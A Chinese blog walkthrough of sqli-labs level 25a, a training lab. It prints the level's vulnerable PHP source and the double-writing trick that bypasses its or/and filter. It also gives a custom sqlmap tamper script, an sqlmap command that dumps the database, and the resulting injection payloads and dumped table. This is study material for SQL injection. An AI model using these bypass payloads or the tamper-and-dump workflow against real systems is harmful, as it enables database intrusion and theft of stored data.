云计算百科
云计算领域专业知识百科平台

sqli-labs通关笔记-第25a关GET型数值注入(过滤or和and 脚本法)

目录

一、sqlmap之tamper脚本

二、源码分析

1、代码审计

2、SQL安全性分析

三、渗透实战

1、进入靶场

2、tamper脚本

3、sqlmap渗透 


SQLI-LABS 是一个专门为学习和练习 SQL 注入技术而设计的开源靶场环境,本小节对第25a关Less 25a基于GET数值型的SQL注入关卡进行渗透实战,该关卡过滤关键字and和or防止SQL注入攻击,本关卡与25关的区别是闭合方式不同,本关卡为数值型注入,另外一个区别是本关卡不再打印数据库报错信息,故而无法使用报错法渗透。

一、sqlmap之tamper脚本

sqlmap 是一款开源自动化 SQL 注入工具,支持多种注入类型,可探测、利用SQL注入获取数据库信息,需在合法授权下使用。

tamper 脚本是 sqlmap 的插件,用于绕过防护机制,如编码转换、过滤关键词等,通过修改 Payload 结构提升注入成功率,适配不同防护场景,是工具灵活性和绕过能力的关键组件。tamper脚本允许用户自定义修改注入payload,主要用于绕过WAF/IDS/IPS等安全防护。以下是编tamper脚本的基本结构,具体如下所示。

#!/usr/bin/env python

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL # 定义脚本优先级

def dependencies():
pass # 定义依赖关系(可选)

def tamper(payload, **kwargs):
"""
主处理函数,接收原始payload,返回修改后的payload
"""
return payload

二、源码分析

1、代码审计

本关卡Less25是基于GET字符型的SQL注入关卡,打开对应的源码index.php,如下所示。

Less25a关卡功能是简单基于id的查询页面,相对于25关的区别主要是闭合方式变为数值型,且不再打印数据库的报错信息,对比如下所示。

25a关卡经过详细注释后的代码如下所示。

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<!– XHTML 1.0 Transitional 文档类型声明 –>
<html xmlns="http://www.w3.org/1999/xhtml">
<!– HTML文档根元素,XML命名空间声明 –>
<head>
<!– 文档头部开始 –>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<!– 元数据:内容类型和字符编码设置 –>
<title>Less-25a Trick with OR & AND Blind</title>
<!– 页面标题 –>
</head>
<!– 文档头部结束 –>

<body bgcolor="#000000">
<!– 文档主体开始,背景色设为黑色 –>
<div style=" margin-top:60px;color:#FFF; font-size:23px; text-align:center">
<!– 顶部div容器,设置样式 –>
Welcome&nbsp;&nbsp;&nbsp;<font color="#FF0000"> Dhakkan </font><br>
<!– 欢迎文本,"Dhakkan"显示为红色 –>
<font size="3" color="#FFFF00">
<!– 设置字体大小和颜色 –>

<?php
// PHP代码开始

// 包含MySQL连接配置文件
include("../sql-connections/sql-connect.php");

// 检查是否通过GET方法接收到id参数
if(isset($_GET['id']))
{
// 获取id参数值
$id=$_GET['id'];

// 记录连接参数到文件用于分析
$fp=fopen('result.txt','a'); // 打开文件(追加模式)
fwrite($fp,'ID:'.$id."\\n"); // 写入ID值
fclose($fp); // 关闭文件

// 过滤注释和特殊字符
$id= blacklist($id); // 调用黑名单过滤函数

// 调试用输出(被注释)
//echo "<br>";
//echo $id;
//echo "<br>";

$hint=$id; // 保存过滤后的id用于提示显示

// 数据库连接和查询
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1"; // 构建SQL查询
$result=mysql_query($sql); // 执行查询
$row = mysql_fetch_array($result); // 获取结果数组

// 检查是否查询到结果
if($row)
{
echo "<font size='5' color= '#99FF00'>"; // 设置成功消息样式
echo 'Your Login name:'. $row['username']; // 显示用户名
echo "<br>";
echo 'Your Password:' .$row['password']; // 显示密码
echo "</font>";
}
else
{
// 查询失败时的输出
echo '<font size="5" color="#FFFF00">';
// 被注释的错误输出
//echo 'You are in………..';
//print_r(mysql_error());
//echo "You have an error in your SQL syntax";
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';
}
}
else
{
// 没有接收到id参数时的提示
echo "Please input the ID as parameter with numeric value";
}

/**
* 黑名单过滤函数
* 移除SQL关键字(不区分大小写)
* @param string $id 用户输入的ID值
* @return string 过滤后的ID值
*/
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); // 移除所有or(不区分大小写)
$id= preg_replace('/AND/i',"", $id); // 移除所有AND(不区分大小写)

return $id;
}

?>

</font>
<!– 结束字体设置 –>
</div>
<!– 结束顶部div容器 –>
</br></br></br>
<!– 换行 –>
<center>
<!– 内容居中 –>
<img src="../images/Less-25a.jpg" />
<!– 第一张图片 –>
</br>
</br>
</br>
<!– 换行 –>
<img src="../images/Less-25a-1.jpg" />
<!– 第二张图片 –>
</br>
</br>
<!– 换行 –>
<font size='4' color= "#33FFFF">
<!– 提示信息字体设置 –>
<?php
// 显示过滤后的输入提示
echo "Hint: Your Input is Filtered with following result: ".$hint;
?>
</font>
<!– 结束提示信息字体设置 –>
</center>
<!– 结束居中 –>
</body>
<!– 文档主体结束 –>
</html>
<!– HTML文档结束 –>

本关卡实现了一个存在SQL注入风险的用户查询系统,它接收用户通过URL参数提交的ID值,使用黑名单过滤机制尝试移除其中的"OR"和"AND"关键字(不区分大小写)后,直接将过滤后的值拼接到SQL查询中从数据库查询相应用户信息,并将用户名和密码显示在网页上。代码的处理逻辑步骤如下所示。

  • 检查是否存在id GET参数:

    • 存在时:

      • 记录id值到result.txt文件

      • 调用blacklist()函数过滤输入(过滤不区分大小写的or和and)

      • 构建SQL查询:SELECT * FROM users WHERE id=$id LIMIT 0,1

      • 执行查询并显示结果:

        • 成功时显示用户名和密码

        • 失败时不显示具体错误信息(不打印数据库报错信息,故无法使用报错法渗透)

    • 不存在时:

      • 显示提示信息"Please input the ID as parameter with numeric value"

  • blacklist()过滤函数:

    • 使用preg_replace移除所有"or"(不区分大小写)

    • 使用preg_replace移除所有"AND"(不区分大小写)

    • 返回过滤后的字符串

  • 最后显示用户输入经过过滤后的结果($hint)

2、SQL安全性分析

系统虽然通过preg_replace()函数进行了简单的关键字过滤,单仍可通过双写关键字绕过过滤机制,导致依旧存在SQL注入风险,攻击者可以构造特殊输入来绕过过滤并执行恶意SQL命令,从而获取数据库敏感信息。此外,由于本关卡代码没有直接将SQL错误信息输出到页面,故而本关卡无法使用报错法渗透。 SQL语句如下所示。

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

由于源码过滤了关键字or,那么如果我们计划注入 id=1 OR 1=1 –+,只要将OR变为OORR,即可实现绕过。

id=1 OORR 1=1 –+

经过blacklist函数处理后,OORR中的OR被替换为空,OORR处理后变为了OR,注入语句变为如下所示,从而实现了服务器的过滤机制绕过。

1 OR 1=1 –+

三、渗透实战

1、进入靶场

进入sqli-labs靶场首页,其中包含基础注入关卡、进阶挑战关卡、特殊技术关卡三部分有效关卡,如下所示。

http://192.168.59.1/sqli-labs/

点击进入Page2,如下图红框所示。 

其中第25关在进阶挑战关卡“SQLi-LABS Page-2 (Adv Injections)”中, 点击进入如下页面。

http://192.168.59.1/sqli-labs/index-1.html#fm_imagemap

点击上图红框的Less25a关卡,进入到靶场的第25a关卡,页面提示“Please input the ID as parameter with numeric value”,并且在页面下方提示HINT信息“ Hint: Your Input is Filtered with following result: ”,具体如下所示。

http://192.168.59.1/sqli-labs/Less-25a

2、tamper脚本

构造double_and_or.py脚本,使用双写方法绕过服务器对or和and关键字的过滤,其中or使用oorr替换,and使用anandd替换,详细内容如下所示。

#!/usr/bin/env python
'''
sqlmap 双写绕过
'''
from lib.core.compat import xrange
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
pass

def tamper(payload, **kwargs):
payload= payload.lower()
payload= payload.replace('or' , 'oorr')
payload= payload.replace('and' , 'anandd')
retVal=payload
return retVal

3、sqlmap渗透 

 使用自己编写的tamper脚本25a.py进行sqlmap渗透,具体命令如下所示。

sqlmap -u http://192.168.59.1/sqli-labs/Less-25a/?id=1 –current-db –batch –tamper 25a.py –dump

-u "URL" 指定测试目标URL
–current-db 获取当前数据库名称
–batch 非交互模式,自动选择默认选项
–tamper double_and_or.py 使用自定义tamper脚本绕过WAF过滤
–dump 导出检测到的数据

如下所示,sqlmap渗透成功,可以通过联合注入法、布尔盲注、时间盲注方法渗透成功,注意和源码分析一致,本关卡是数值型注入,因为不显示报错信息,无法使用报错法渗透成功。具体信息如下所示。

GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 73 HTTP(s) requests:

Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind – WHERE or HAVING clause
Payload: id=1 AND 6411=6411

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1 AND (SELECT 9579 FROM (SELECT(SLEEP(5)))AdVM)

Type: UNION query
Title: Generic UNION query (NULL) – 3 columns
Payload: id=-5680 UNION ALL SELECT NULL,CONCAT(0x71706a7871,0x517666684c6a5975726c78467a6a5673554b416b7845546e53644976484f716b437658484b774559,0x71626a7a71),NULL– –

[02:52:29] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[02:52:29] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.4.39, PHP 5.5.9
back-end DBMS: MySQL >= 5.0.12
[02:52:30] [INFO] fetching current database
current database: 'security'

Table: emails
[8 entries]
+—-+————————+
| id | email_id |
+—-+————————+
| 1 | Dumb@dhakkan.com |
| 2 | Angel@iloveu.com |
| 3 | Dummy@dhakkan.local |
| 4 | secure@dhakkan.local |
| 5 | stupid@dhakkan.local |
| 6 | superman@dhakkan.local |
| 7 | batman@dhakkan.local |
| 8 | admin@dhakkan.com |
+—-+————————+

赞(0)
未经允许不得转载:网硕互联帮助中心 » sqli-labs通关笔记-第25a关GET型数值注入(过滤or和and 脚本法)
分享到: 更多 (0)

评论 抢沙发

评论前必须登录!